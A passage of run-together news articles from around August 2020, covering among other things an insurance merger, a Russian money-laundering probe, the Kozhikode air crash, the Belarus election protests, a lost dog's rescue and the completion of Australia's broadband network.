merger. The pricing has not been finalised yet, said the first person. Bharti Enterprises currently owns 51% in Bharti AXA General, while its France-based JV partner AXA has 49%. To be sure, Bharti Enterprises has been trying to exit its financial services business since long. In 2016, Bhartis talks with Reliance Industries Ltd to sell its 74% stake at the time in Bharti AXA Life Insurance and Bharti AXA General Insurance were inconclusive. There are two more general insurance companies with whom ICICI Lombard is in talks with for similar acquisitions, said the first person. According to industry estimates, Bharti AXA has a market value of about 2,800 crore. ICICI Lombard is valued at 62,827 crore. Emails sent to ICICI Lombard and Bharti Axa General remained unanswered. SHARE THIS ARTICLE ON German authorities raided an import-export company and the home of a businessman in the state of Brandenburg on Tuesday on suspicion he was involved in a scheme to launder millions of euros (dollars) for Russian criminals, prosecutors said. The suspect is accused of receiving some 7 million euros ($8.3 million) in illegally obtained money, laundering it in Germany and then transferring it to offshore accounts for individuals from Russia, the Frankfurt prosecutors office said. The suspect, whose name wasnt released, is alleged to have been part of the so-called Troika Laundromat - a money laundering network linked to the former Russian investment bank Troika Dialog, which is said to have maintained a network of offshore companies with accounts in Baltic banks, prosecutors said in a press release. Federal German police have been investigating the network since the beginning of 2019, prosecutors said. Authorities gave no further details on the investigation or the suspect, and prosecutors spokeswoman Nadja Niesen said she could not comment beyond the release. German authorities have been cracking down on Russian money laundering schemes, and last year seized properties worth more than 40 million euros ($47 million) they alleged were purchased through another network, known as the Russian Laundromat. That scheme, they said at the time, involved moving some $22 billion from Russia into Europe through banks in Moldova and Latvia using fictitious companies. Much of what is publicly known of the laundromat operations comes from the Organized Crime and Corruption Reporting Project, whose journalists were also involved in the Panama Papers revelations, reporting how documents from a Panamanian law firm showed hundreds of rich and powerful people registered companies in tax havens. The OCCRP, citing documents obtained by it and the Lithuanian news site 15min.lt, has reported that the main purpose of the Troika Laundromat was to channel billions of dollars out of Russia, allowing Russian oligarchs and politicians to secretly acquire shares in state-owned companies, buy property in Russia and abroad and more. The Troika was made up of at least 75 companies in a complex financial web, which functioned from 2006 to early 2013, the OCCRP reported last year. The Kremlin has dismissed the OCCRP reports as being untrue or distorted, and nothing particularly novel. SHARE THIS ARTICLE ON A gust of wind, wrong decision by the pilots, the condition of the air strip and even faulty indication by the instrument landing system could be possible reasons for the crash of the Air India Express plane on Friday in the south Indian city of Kozhikode, according to aviation experts. The dominant reason cited by the experts was the decision by the pilots to not divert the Boeing 737 plane to another airport after the first attempt to land at the designated strip in Kozhikode failed amid rain. The experts were, however, of the opinion that the real reasons would be known only after a thorough investigation into the crash is carried out and it is premature to conclude about why and how it happened. The aircraft, bringing back 190 stranded Indians from Dubai, broke into pieces after it overshot the table-top runway 10 and fell into a valley 35 feet below, leaving 18 people including both the pilots dead. "It is foolish to land with a tailwind on a wet runway...This is what I have been pointing out for years. I said in 2011 that landing with a tailwind in rain on runway 10 will result in an accident one day," leading expert Captain Mohan Ranganathan said. Ranganathan was a member of the operations group of the Civil Aviation Safety Advisory Committee (CASAC) in 2011. He has been a part of various other safety committees of aviation regulator DGCA. As the investigators begin probe into the accident, another aviation expert referred to the "widely recognised Swiss Cheese" model while talking about possible reasons for the crash that included breaking apart of the plane's fuselage. "Any aeroplane accident that happens is never dependent on a single factor. Top air accident investigation teams across the world believe in the Swiss Cheese model. It says that only when the holes of all the slices of Swiss cheese get aligned, then only an accident happens," the expert said on condition of anonymity. "It is just a metaphor. The Swiss cheese has lot of holes. If you put slices of Swiss cheese in a string and spin them, there will be one in a million times that all the holes would be aligned. That will be a precursor to an accident," he explained. The expert said the reasons for the crash could include environmental factor, human factor, technical factor, health of the plane, administrative factor and external factor like what the air traffic controller is telling the pilots. He said a sudden gust of wind leading to a wrong decision by the pilots, condition of the aircraft, wrong signalling by the instrument landing system or pure human error could be some of the reasons for the crash. "It can be a multiple reasons. We cannot speculate. Wind speed could be a reason. When you are at low speed, you are susceptible to impact of the wind. One gust of wind can play havoc," he explained. The runway 10 at the Kozhikode airport is approximately 2,700 metres long. The aircraft touched down approximately 1,000 metres from the beginning of runway 10 while landing, according to the AAI. Captain S S Panesar, former director of flight safety and training at the Indian Airlines said the pilot should have diverted immediately to one of the nearby airports like Trivandrum or Bengaluru after he did not succeed in its first attempt to land on runway 10 in bad weather condition, using the instrument landing system (ILS). The ILS uses radio beams to give pilots vertical and horizontal guidance while landing the plane. "The authorities have found the DFDR (digital flight data recorder) and CVR (cockpit voice recorder), but one thing will remain unanswered, that why didn't he divert?" Panesar asked. The experts said the flight data recorder would give the investigators condition of the health of the aircraft, while the cockpit voice recorder will provide details of what the pilots were thinking and what they were going through before the crash. Captain Deepak Sathe was the pilot-in-command and Captain Akhilesh Kumar was the first officer of the flight AIX1344. According to the Airports Authority of India, the visibility on Friday night at Kozhikode airport was 2,000 metres. The Kozhikode airport is a CAT-1 airport where flights can land with visibility of 800 metres or more. At a CAT-IIIB airport, the runway visual range can be as low as 50 metres. B737 is one of the most popular aircraft models of Boeing. According to the aircraft manufacturers' operations manual, a B737 plane can satisfactorily land or take off when the tailwinds are not more than 15 knots. A former DGCA official said that the accident could have been averted had the runway been extended some more during the last few years. In 2017, the AAI had attempted to procure land to extend the runway, but it was not able to do so as the land acquisition was proving to be expensive and there was stiff resistance from locals, said the official. Addressing the questions on runway 10, Civil Aviation Minister Hardeep Singh Puri said on Monday the airport is equipped with Runway End Safety Area (RESA) as per International Civil Aviation Organisation (ICAO). Ten years back, an Air India Express aircraft overshot the table top runway at Mangalore airport, fell into a gorge and caught fire, resulting in loss of 158 lives. Pointing to the similarities between the two accidents, Ranganathan said "if the same error is done by the same airline (Air India Express), so what happened to safety audits and other checks that the DGCA has been doing for the last 10 years". Panesar said there should be a judicial enquiry into the accident as it will allow aviation experts to file affidavits and ask pointed questions about the accident. - Increase in prevalence of chronic diseases, surge in incidences of kidney diseases, and issues associated with kidney transplants have boosted growth of the global hemodialysis and peritoneal dialysis market PORTLAND, Ore., Aug. 11, 2020 /PRNewswire/ -- Allied Market Research recently published a report, "Hemodialysis and Peritoneal Dialysis Market by Type (Hemodialysis and Peritoneal Dialysis), Dialysis Site (Hospitals, Clinics & Dialysis Centers, and Home Dialysis), Modality (Conventional and Daily), and Product (Devices and Consumables): Opportunity Analysis and Industry Forecast, 20202027". According to the report, the global hemodialysis and peritoneal dialysis industry was pegged at $15.68 billion in 2019, and is expected to hit $22.16 billion, growing at a CAGR of 6.0% from 2020 to 2027. Download Sample Report with Detailed COVID-19 Impact Analysis at: https://www.alliedmarketresearch.com/request-for-customization/3474?reqfor=covid Drivers, restraints, and opportunities Increase in prevalence of chronic diseases, surge in incidences of kidney diseases, and issues associated with kidney transplants have boosted the growth of the global hemodialysis and peritoneal dialysis market. However, complications in dialysis treatment and reimbursement policy concerns in emerging nations hamper the market. On the contrary, shift in preference of patients for home hemodialysis is expected to create new opportunities for the market players in the future. Covid-19 scenario: Medical device manufacturers rely heavily on healthcare facilities for their clinical trial data collection. Most medical device products must go through clinical trials, which is difficult during pandemic due to disrupted supply chain and lack of healthcare professionals. During the Covid-19 pandemic, medical device companies have found it hard to make informed decisions regarding their products and regulatory obligations amid uncertainty which, in turn, has slowed the rate of manufacturing. The hemodialysis segment dominated the market By type, the hemodialysis segment held the largest share in 2019, accounting for more than four-fifths of the global hemodialysis and peritoneal dialysis market, as it is a preferred form of approach among healthcare professionals and patients suffering from ESRD. However, the peritoneal dialysis segment is expected to manifest the highest CAGR of 7.2% from 2020 to 2027. This is due to emergence of technologically advanced products for peritoneal dialysis. The home dialysis segment to portray the highest CAGR through 2027 By dialysis site, the home dialysis segment is expected to register the highest CAGR of 7.6% during the forecast period, owing to rise in awareness and surge in demand for home healthcare among dialysis patients. However, the clinics and dialysis centers segment dominated the global hemodialysis and peritoneal dialysis market in 2019, contributing to more than half of the market, as most patients prefer to receive dialysis treatments through services provided by dialysis centers. Asia-Pacific, followed by North America, held the lion's share By region, the global hemodialysis and peritoneal dialysis market across Asia-Pacific, followed by North America, held the largest share in 2019, contributing to more than two-fifths of the market. Moreover, the region is expected to portray the highest CAGR of 7.2% during the forecast period, owing to rise in cases of ESRD, CKDs, diabetes, and hypertension coupled with surge in diagnosis rates. For Purchase Enquiry at: https://www.alliedmarketresearch.com/purchase-enquiry/3474 Major market players Fresenius Medical Care AG & Co. KGaA Nipro Corporation Baxter International Inc. Nikkiso Co., Ltd. B Braun Melsungen Ag Dickinson And Company (C. R. Bard, Inc.) Becton Angiodynamics Inc. Cook Group Asahi Kasei Corp. Medtronic PLC Access AVENUE- A Subscription-Based Library (Premium on-demand, subscription-based pricing model) at: Sign up for Avenue subscription to access more than 12,000+ company profiles and 2,000+ niche industry market research reports at $699 per month, per seat. For a year, the client needs to purchase minimum 2 seat plan. Avenue Library Subscription | Request for 14 days free trial of before buying: https://www.alliedmarketresearch.com/avenue/trial/starter Get more information: https://www.alliedmarketresearch.com/library-access Similar Reports: Digital Diabetes Management Market - Global Opportunity Analysis and Industry Forecast, 20202027 Medical Holography Market - Global Opportunity Analysis and Industry Forecast, 2019-2026 Biocompatible Materials Market - Global Opportunity Analysis and Industry Forecast, 2019-2026 Dengue Virus Diagnostic Tests Market - Global Opportunity Analysis and Industry Forecast, 20192026 Anesthesia Breathing Circuits Market - Global Opportunity Analysis and Industry Forecast, 2019-2026 Self-Care Medical Devices Market - Global Opportunity Analysis and Industry Forecast, 20192026 About Us Allied Market Research (AMR) is a full-service market research and business-consulting wing of Allied Analytics LLP based in Portland, Oregon. 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Contact: David Correa 5933 NE Win Sivers Drive #205, Portland, OR 97220 United States USA/Canada (Toll Free): 1-800-792-5285, 1-503-894-6022, 1-503-446-1141 UK: +44-845-528-1300 Hong Kong: +852-301-84916 India (Pune): +91-20-66346060 Fax: +1(855)550-5975 help@alliedmarketresearch.com Web: https://www.alliedmarketresearch.com Follow Us on LinkedIn: https://www.linkedin.com/company/allied-market-research Logo: https://mma.prnewswire.com/media/636519/Allied_Market_Research_Logo.jpg SOURCE Allied Market Research Pranab Mukherjee New Delhi: Former President Pranab Mukherjee underwent a brain surgery at the Army's Research and Referral (R&R) hospital for removal of a clot, sources said. Pranab MukherjeeMukherjee, who was unwell, was hospitalised on the advice of the doctors and had tested positive for Covid-19 prior to the surgery. Advertisement "Former President Pranab Mukherjee underwent a successful brain surgery for removal of a clot at the Army's R&R hospital," as per the sources. "He is critical and is on ventilator support," the sources also said. Pranab Mukherjee tweet Advertisement Mukherjee, 84, said in a tweet in the morning, "On a visit to the hospital for a separate procedure, I have tested positive for COVID19 today." "I request the people who came in contact with me in the last week, to please self isolate and get tested for COVID-19," Mukherjee said. Reports on death of ex-leader 'pure rumour': China China\'s official media said Thursday that reports claiming former president Jiang Zemin had died were "pure rumour", after days of intense speculation about his health. man walks past pictures of former communist party leaders (L to R) Mao Zedong, Deng Xiaoping, Jiang Zemin and current president Hu Jintao in Beijing as part of celebrations for the July 1 Chinese Communist Party\'s 90th anniversary on June 28, 2011. The state-run Xinhua news agency quoted "authoritative sources" in its report quashing the rumour, which emerged last Friday after the 84-year-old failed to appear at celebrations marking the Communist Party\'s 90th birthday. Speculation gathered momentum this week and culminated with Hong Kong and Japanese media putting out reports confirming his death. Hong Kong broadcaster ATV announced Wednesday that the former president had passed away, citing unspecified sources and giving no details. It said it would air a special one-hour programme on Jiang but later cancelled it. The Japanese daily Sankei Shimbun also reported Thursday that Jiang had died in Beijing, quoting "a source involved in Japan-China relations". The brief Xinhua dispatch gave no further details on the former leader\'s health situation. Jiang\'s absence from the Friday gala in central Beijing was conspicuous as many other retired party and national leaders -- including former prime ministers Li Peng and Zhu Rongji -- were present. Rumours have surfaced in the past that Jiang, who reportedly still wields a lot of power in the inner party sanctum, may be seriously ill. On Thursday, searches for his name and other terms such as "cardiac arrest" -- one of his rumoured causes of death -- on the popular Twitter-like Weibo service were blocked, in an indication censors were blocking information. China routinely censors online content it deems politically sensitive. This includes the health of leaders, which is considered a state secret, apparently due to concerns illness might affect the appearance of stability in the party. Even the word "river" -- the meaning of Jiang\'s surname -- was barred Thursday on Weibo, which more than 100 million Chinese people use. Typing "Jiang Zemin died" on search engine Baidu.com yielded no results either. Jiang was appointed head of the ruling Communist Party by late paramount leader Deng Xiaoping following the crushing of the 1989 Tiananmen pro-democracy protests. He stepped down as the country\'s president in 2003 after guiding the nation through more than a decade of blistering economic growth, marked by a lack of corresponding political reforms. An electrical engineer by training who spent his early career in factory positions, Jiang lacked the revolutionary credentials and prestige of Deng. But he managed to outmanoeuvre or outlast Communist Revolution-era hardliners who hoped to slow economic reforms in the early 1990s. As a psychiatrist, William Lawson has treated people battling schizophrenia and manic depression. His patients have been convicted murders and nihilistic juveniles. But the public health crisis that recently brought him out of semiretirement, at age 74, may be his most challenging yet. Anxiety and depression among African Americans is skyrocketing, and so are suicides. Black boys, ages 5 to 12, are twice as likely to die by suicide compared to their White peers, according to the Congressional Black Caucus Emergency Task Force on Black Youth Suicide and Mental Health. It's not hard to figure out why. Look at the coronavirus pandemic and its many adverse impacts - increased economic insecurity, disruption of civic and religious life. Add to it the social unrest over police killings of unarmed citizens. "I'm just amazed when I turn on the television set," said Lawson, who is Black and lives in Silver Spring. "The images of police brutality are so disturbing, and the racial disparities in deaths from covid-19 are very distressing." Within just one week in June, following the police killing of George Floyd in Minneapolis, anxiety and depression among African Americans shot to higher rates than experienced by any other racial or ethnic group, according to an emergency weekly survey of U.S. households by the Census Bureau. An astounding 41 percent of Black people reported symptoms of at least one of those conditions. Lawson, in association with the group Black Psychiatrists of America, consults with the Leadership Council for Healthy Communities, a District of Columbia-based nonprofit composed of more than 70 faith-based institutions. The mission is to improve access to health care for residents in the Washington area's most underserved neighborhoods - especially Southeast and far Northeast, which have been hard hit by unemployment, homelessness, the pandemic and opioid overdose deaths. When it comes to mental health, Lawson finds it is not simply access to treatment that he is up against. It's also stigma. "When I worked with incarcerated individuals, the young Black men were clearly depressed," Lawson said. "But they'd never admit it because, to them, being depressed meant that you were crazy. That's the last thing they wanted to be. They had a saying, 'Better to be bad than mad.' Instead of showing their depression through hopelessness, they chose the flip side of the coin: rage." Lawson noted that there are also cultural prohibitions on expressing unpleasant feelings. "Some folks believe that being sad for no reason only makes other people around you unhappy, and you shouldn't do that," he said. "So, they internalize their feelings, suppress them. Or, clinically speaking, they become depressed." He added, "Some people will not even use the word sadness or despondent because they see themselves as a hearty people, able to resist such feelings. Acknowledging depression is tantamount to saying there is a weakness in the family. So everybody pretends nothing is wrong." But as Michelle Obama made clear last week, we cannot pretend nothing is wrong with us when so much around us is wrong. "I know that I am dealing with some form of low-grade depression," Obama told my colleague Michele Norris during a podcast last week. "Not just because of the quarantine, but because of the racial strife, and just seeing this administration, watching the hypocrisy of it, day in and day out, is dispiriting." Lawson understands that some of the resistance to treatment stems from a history of psychiatric malpractice done to African Americans. There was a disorder concocted during the Civil War called "drapetomania," said to be a mental illness unique to enslaved people that caused them to run away. Civil rights protesters who got arrested were sometimes called schizophrenic as part of a scheme to make them sound dangerous. Lawson recalled that as a medical school student at the University of Chicago, a psychiatric professor said to him, 'You people are lucky because you don't get depressed.' I've heard professors say Black people don't commit suicide. . . . Black people don't feel pain the same way white people do." Underneath those made-up diagnoses and mistaken claims was little more than an effort to mark Black people as less than human. To combat the historic mistreatment and provide the needed mental health services, Lawson says his profession needs far more people like him. African Americans make up 13 percent of the U.S. population. Yet of the estimated 41,000 psychiatrists in the country, only two percent are Black, according to the American Psychiatric Association. Increasing the number of Black psychiatrists won't happen overnight, so Lawson is advocating one traditional avenue toward better mental health and one more modern. "During this pandemic, you can't hang out at the barber shop, the beauty shop or the bar for the usual therapeutic interactions, but you can . . . connect with the church online," Lawson said. "The church can play a huge role in helping people by letting them know that they are not alone, that we are all in this together. We need positive messages and an optimistic attitude, especially when things are looking bleak. We need reminding that African Americans have been through worse. And if we stick together, as a people, we will get through this." Lawson is also doing self care. His favorite activity is mixed martial arts. But the pandemic has put a damper on contact sports for the foreseeable future. So, he ordered a stationary bike for exercise. "I grew up on a farm in West Point, Va., and learned some creative ways to keep myself entertained," he said. "Like playing with animals and fishing. Now I can do some of the same things." For instance, he said, "I just grew two tomatoes in my backyard." Sometimes, that's all it takes to feel better. Pet a cat, walk a dog. Get into the soil, plant a garden. And sometimes, it takes a little more. Like a call to a mental health clinic. "Or just pick up the phone and call a friend - don't isolate," Lawson said. "When you say, 'Black Lives Matter,' that should mean your life also matters to you." The Morrison government has made the right call by spending billions supporting the economy during the current pandemic but it would be a waste of money and a breach of its own principles if it threw taxpayer cash into a plan that has been floated to encourage new natural gas fields. Prime Minister Scott Morrison has spoken in general terms about how the gas sector had a major place in his plans for a COVID-safe economy. It has been unclear what he has in mind but on Tuesday Nev Power, chairman of the COVID-19 Commission advisory board, told a Senate inquiry he backed using taxpayer money to guarantee the profits of private businesses that construct new pipelines to untapped gas fields. Mr Power, who is deputy chairman of natural gas company Strike Energy, justified this "guaranteed off-take through infrastructure" by saying that, in the provision of new infrastructure ... we need to be making sure that that infrastructure is the right size for any future demand. The Herald struggles to understand the logic without a clear business case. But as a general principle, governments should leave it up to the free market to meet Australias energy needs. The Central Bank of Egypt (CBE) has approved the start of the due diligence inspection process for BLOM Egypt Bank, which paves the way for the banks sale, the bank announced on Tuesday. According to a statement sent to Ahram Online, BLOM Bank is considering strategic options including selling its unit in Egypt amid the current situation in Lebanon in the wake of the Beirut blast, as well as a resolution issued by Lebanons central bank last November that requires Lebanese banks to raise their capitals. The bank also said that the sale of its Egypt unit depends on approval from BLOM Bank in Lebanon as well as from the CBE. BLOM Egypt has the largest assets owned by the bank outside Lebanon and its a key source of the banks growth in the region and globally. We are really proud of Egypts unit and its achievements, the bank said in the statement. An informed source told Ahram Online that BLOM Bank has appointed CI Capital, an Egyptian investment bank, to be in charge of the sales process, adding that there are several offers from other banks to buy BLOM Egypt including Emirates NDB and an unnamed Saudi bank. In February, BLOM Bank announced that there were negotiations to sell Egypts unit. However, the bank later said that it would continue to work in the Egyptian market despite Lebanons financial crisis, adding that the negotiations were just offers that were under consideration. BLOM Egypts capital records EGP 2 billion over 42 branches in the country. The bank has branches in 12 countries around the world. Former Vice President of BLOM Egypt Tarek Metwali told Ahram Online that the challenges and competitiveness the financial market in Egypt is experiencing, especially with the greater role of the non-banking sector, investment banks and fintech companies, require expansion through mergers and acquisitions (MA). The new Egyptian bank law mandates that bank capitals reach EGP 5 billion (about $300 million), which is a small amount that does not qualify Egyptian banks to exist in regional and global markets. In addition, banks with capital less than EGP 5 billion will struggle to reach such an amount, according to Metwali. He added that Egyptian banks do not have a presence regionally or globally, and that MA processes are the way to maximise their capital, assets and strengthen their positions. According to Metwali, the National Bank of Egypt, Banque Misr and the Commercial International Bank are the banks that are qualified for the MA process given their big market share, assets and operations. He added that national and private banks operating in the Egyptian market have to carry out MA processes to be able to deal with the significant challenges the financial and banking sectors are facing currently. Search Keywords: Short link: Source: Xinhua| 2020-08-11 11:10:31|Editor: huaxia Video Player Close BEIJING, Aug. 11 (Xinhua) -- China's national observatory on Tuesday issued a yellow alert for rainstorms in several provinces and regions for the next 24 hours. Starting from 8 a.m. Tuesday to 8 a.m. Wednesday, torrential rains and rainstorms are expected to lash parts of Gansu, Fujian, Taiwan, Inner Mongolia, Ningxia and Sichuan Basin, the National Meteorological Center said. According to the forecast, some regions are likely to see over 80 mm of hourly precipitation, accompanied by thunderstorms and strong winds. The center warned that some areas in the Fujian Province and Sichuan Basin will experience downpours. The center advised local authorities to stay vigilant for possible flooding, landslides and mudslides, and suggested halting outdoor activities in disaster-prone areas. China has a four-tier, color-coded weather warning system, with red representing the most severe, followed by orange, yellow, and blue. Enditem A crew works on a cell tower to update it to handle the new 5G network in Orem, Utah, on Dec. 10, 2019. (George Frey/AFP via Getty Images) White House, Pentagon Open Up Military Airwaves for 5G The White House and the Department of Defense announced on Aug. 10 plans to auction off a major chunk of military airwaves for the expansion of 5G wireless technology in the United States. The Federal Communications Commission will auction 100 megahertz in the midband range once service rules are adopted, according to the Pentagon. The airwaves are currently used by the militarys radars in systems including missile and gunfire control, battlefield weapon locations, and air traffic control. 5G will be as much as 100 times faster than current 4G networks. It will transform the way our citizens work, learn, communicate, and travel, White House press secretary Kayleigh McEnany said in a statement announcing the auction. It will make American farms more productive, American manufacturing more competitive, and American health care better and more accessible. 5G networks will create astonishing and thrilling new opportunities for all Americans. The upcoming auction is the result of a 15-week effort initiated by the White House to expedite the development and expansion of 5G technology. In order to figure out if it would be possible to share the airwaves with the public sector, the Pentagon brought together 180 subject matter experts from the Army, Navy, Marine Corps, Air Force, and the office of the Secretary of Defense. Top Trump administration officials have repeatedly stressed the importance of catching up with the Chinese communist regime in the race to deploy 5G. The military is also interested in the technology, with 5G listed as one of 11 modernization efforts for the U.S. military in the National Defense Strategy. A June report by the Congressional Research Service said there arent as many frequencies available for 5G technology in the United States compared to other countries because the American military holds so much of the usable spectrum. Much of the investment in the United States has centered around the higher-frequency millimeter wave spectrum, which offers fast data speeds but wont likely work as well outside urban areas. Thats in contrast to China, which has been investing in building out networks using the less-expensive lower and middle bands. White House officials said on Aug. 10 that the Federal Communications Commission will be able to auction 100 megahertz of the militarys mid-band spectrum beginning in December 2021 for use as soon as mid-2022. This band has the ideal characteristics for 5G deploymentto travel long distances to ensure that all Americans have access to the network, while delivering ultra-fast and high performance that will power technologies in the future, said Michael Kratsios, U.S. chief technology officer. FCC Commissioner Michael ORielly, a Republican who has been at odds with President Donald Trumps administration on some issues, sent a letter to the president in April urging him to cut through red tape and get the Pentagon to give up some of its frequencies. The U.S. does not have the luxury of waiting years to provide spectrum for 5G services, especially when competitors such as China can move expeditiously to reassign spectrum frequencies by leveraging all the resources and power of their centralized, Communist regime, ORielly wrote. The Associated Press contributed to this report. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Berlin, Germany Tue, August 11, 2020 10:14 526 6657ac82168da9fa101c8a4066d05445 2 World Germany,EU,European-Union,Belarus,election,politics Free Germany, which currently holds the rotating presidency of the EU, threatened Monday to reactivate EU sanctions against Belarus over a disputed presidential vote that has led to angry street protests with thousands arrested. Referring to sanctions against Belarus previously lifted because of initial progress improving the rule of law, German Foreign Minister Heiko Maas said the bloc must review "whether this can still be valid in the light of the past weeks and days". Speaking in Berlin after a meeting with his South Korean counterpart Kang Kyung-wha, Maas also called for the immediate release of all protesters arrested for demonstrating peacefully. Earlier Monday, Berlin had voiced "strong doubts" about the vote in Belarus. "We have strong doubts -- and from our point of view justified doubts -- about the... conduct of these elections," government spokesman Steffen Seibert told a press conference. "Minimum standards for democratic elections were not met" and this was "not acceptable", he said, adding that "the numerous reports of systematic irregularities and violations of electoral law are credible". Berlin also condemned the "use of violence against peacefully demonstrating people" as well as "numerous arrests". "The political leadership of the country must accept the will of its citizens," Seibert said. Belarus on Monday declared a landslide election victory for strongman Alexander Lukashenko after police used stun grenades, tear gas and rubber bullets to disperse protesters denouncing the vote as a fraud. The protests erupted after an exit poll for Sunday's election showed Lukashenko soundly beating main opposition challenger Svetlana Tikhanovskaya. Police in Belarus detained 3,000 people for taking part in unauthorised gatherings during post-election demonstrations on Sunday. Tikhanovskaya on Monday she rejected the result of the vote and demanded that the authorities transfer power to the opposition. The arrest of media tycoon Jimmy Lai under controversial national security law is expected to be the beginning of prominent peoples targeting. Media tycoon Jimmy Lai has been released on bail in Hong Kong after he was arrested on Monday under the controversial national security law along with several other people. He is one of the most prominent people to be arrested under the new legislation. Al Jazeeras Adrian Brown reports. Residents who want to address Hamilton city council about police reform will have their opportunity. But the decision to grant the 32 delegation requests Sept. 9 doesnt come without reservations from some. For the love of God, folks, get your head out of your butt, Coun. Sam Merulla said during this weeks general issues committee meeting. Merulla argued a crisis of misinformation has given people the false impression that Canadian law enforcement is politicized like it is south of the border. The police chief is not accountable to city council, but to the police services board. But Coun. Nrinder Nann countered she had no presumption of what the delegates would discuss in a Canadian context and an Ontario context. The requests to address councillors come amid protest following George Floyds death in Minneapolis police custody in May and fatal encounters with police in Canada. Last month, demonstrators painted defund the police in big yellow letters on Main Street West. The city swiftly removed the paint citing safety concerns and police launched a criminal investigation moves that generated criticism and support alike. On Monday, councillors argued how much power they had to cut or rein in the roughly $172-million police budget. The police services board can appeal councils budget decisions through the Ontario Civilian Police Commission. In 2012/13, council was at odds with police over an initial 5.25 per cent increase, which settled at 3.52 per cent with a commission intervention looming. Last month, city politicians request for the police Chief Eric Girt to appear before general issues committee to speak about the calls for reform wasnt addressed. Instead, the police board agreed to provide council with staff reports that were already publicly available on the citys website. Mayor Fred Eisenberger, who is also board chair but didnt helm that last meeting, said Monday members would discuss that request in September. Its a bit of a jurisdictional issue. Coun. Brad Clark, who initially suggested Girts appearance, said the idea was not a novel approach, noting other police chiefs appear before councils. After an incredible nine-day journey through the backwoods around Mount Shuksan, Penny, a 3-year-old miniature Australian labradoodle, is back home in Portland, Oregon. Despite search attempts by rappelling rescue crews, a heat-sensing drone and even a psychics intuition, the 20-pound ball of fluff somehow made it to civilization all on her own. Shes a little fluffy dog that we used to think was a West Hills prima donna but now we know shes a backcountry badass, said her owner, Kim Spiro. Pennys adventure began July 31, when she accompanied Spiro and three of Spiros friends on a backpacking trip in the wilderness west of Mount Shuksan in northern Washington. The group had hiked five miles, and several thousand feet elevation, from the trailhead to their campsite near Lake Ann for a weekend getaway to celebrate Spiros 50th birthday. Penny was leashed during the hike, but Spiro unleashed the dog when they neared the lake. We were hot and sweaty and took off our packs to sit down at the tree line in the shade, she said. I had just unclipped her, not appreciating that we were about 30 feet away from a very, very steep drop off into a 600-foot canyon. Within moments, Spiro said, Penny had kicked up a rock and went chasing after it as it rolled past the tree line and out of sight. And so, too, did Penny. We were calling her name, and we couldnt find her, and I started to panic, Spiro said. We hiked along the ridge about a mile in each direction and we couldnt hear her, and we couldnt see her. Presuming Penny had perished, the group camped overnight and planned to trek back to the trailhead the next day. But the next morning, when Spiro revisited the edge of the ravine where Penny went missing, she heard a faint, distant barking. I dont know if Im hearing a ghost, if its my mind playing tricks on me, but I think I hear her, she said. And one of my friends says, I hear her, too. They hiked the ridge but had no way to get down the ravine and no cell phone reception. They went back to the trailhead, where Spiro called two rescue organizations, Summit to Sound and the Washington State Animal Response Team. Twelve volunteers with the groups went out the following day with dog treats and rope gear in search of Penny, but they had no luck. Spiros brother suggested a drone search and put her in touch with a drone operator and climber out of Seattle. When Spiro reached the drone operator, he was at the vet having to put down his own dog. He said, of course hed help. But a 10-hour search with two drones turned up no sign of the pup. Another friend even contacted a psychic, who sensed Penny was indeed alive and trying to get back to a Chloe, who is Spiros daughter. Meanwhile, in Portland, the Spiros neighbors sent cards, flowers, food and wine as condolences over the loss of Penny. My dog is the mayor of the neighborhood, everyone knows her, Spiro said. So, when we thought she was gone, they sent a letter out to the neighborhood and everyone was devastated. And then, a miracle. Kim Spiro holds her dog Penny, next to, from left, her daughter Chloe, Helaina Hurwitz, who found Penny, and Hurwitz's roommate Erica Eggleton, who helped care for the dog. Sunday morning, nine days after Penny disappeared, Spiro got a call that Penny had been found. I cried, I laughed, at first I didnt believe her, Spiro said. Helaina Hurwitz was meeting up with a group in the wee hours Sunday to climb the Fisher Chimneys at Mount Suskan, when a dog ran in front of one of their cars in the trailhead parking lot. The dog was shivering, whining and lethargic, but quickly jumped into the car. I fell in love with her pretty much immediately, Hurwitz said. The climbers fed the dog canned sardines they had packed for the day, but at 4:30 a.m., the ranger station was closed and they werent sure who to call. We didnt really know what to do, so I offered to not climb and try to take Penny back home with me and then probably to a vet, Hurwitz said. It was a three-hour ride back to Hurwitzs home in Seattle. Once she got there, Hurwitz was able to call the park rangers, who knew about the search for Penny. What a little adventure dog, Hurwitz said. Although, she doesnt look it. Pennys family immediately drove to Seattle for a tear-filled reunion. For the Spiros return to Portland, neighbors lined the streets with welcome signs and banners proclaiming Welcome Home Miracle Penny! Neighbors put up signs welcoming Penny the dog back home. After a trip to the vet, Penny was found to have some broken teeth and a gash down the bottom of her chin. Her owners arent sure exactly how she made it back to the trailhead parking lot, but she may have taken a 15-mile journey following two creeks along untamed forest. If only dogs could talk. This dog has a story to tell, Spiro said. She survived nine days in the backcountry where there are coyotes and cougars and bears I mean, bears! Its insane. Were in disbelief. To Spiro the drone operator, the psychic it just felt like, cosmically, Penny ought to be found. Eventually you start going, all these coincidences arent leading to anything, whats wrong with the universe? Spiro said. And then this little voice would pop in our heads, But maybe shes alive? Maybe were those people? We simultaneously wanted to believe it, but as the days went by, the less hope we had. But were those people! Were in the paper! Were those people! -- Samantha Swindler; sswindler@oregonian.com; @editorswindler Ten years after the first customer was connected and a decade of fierce debate, the build of the national broadband network is effectively complete. Just in time. When NBN Co chief executive Stephen Rue unveiled the groups results for the year to June on Tuesday he also announced that 11.73 million premises about 99 per cent of the nations premises are now ready to connect, with 7.4 million of them already using the network. It is a definitive milestone in the NBNs chequered history, formally marking its transition from being primarily a construction company to being primarily a services business. After 10 years about 99 per cent of the nation's premises are able to connect to the NBN. That doesnt mean it wont continue to add to the network or continue to upgrade its existing infrastructure but that its primary focus will shift from building to operating, with major implications for the scale and nature of its workforce, its management priorities and its finances. Utica, NY -- New York States requirement that people quarantine for 14 days after traveling from states with high Covid-19 infections is constitutional, a federal judge ruled Tuesday. RELATED: Latest list of NY quarantine states U.S. District Judge David Hurd tossed a challenge by an Arizona woman, who argued that the states quarantine order violated her fundamental right to travel. Its at least the second time a federal judge has upheld New Yorks quarantine requirement, following a Downstate ruling that came to the same conclusion. That said, Hurd expressed some reservations over the broad powers given to state officials during a pandemic, calling them even a little alarming. Nevertheless, he ruled, a landmark U.S. Supreme Court case from 1905 gives the state special constitutional powers during a public health emergency. Federal blessing of Gov. Andrew Cuomos emergency Covid-19 orders has been far from absolute. On Monday, for example, a different federal judge overturned rules limiting weddings to 50 people, while keeping in place restrictions governing all 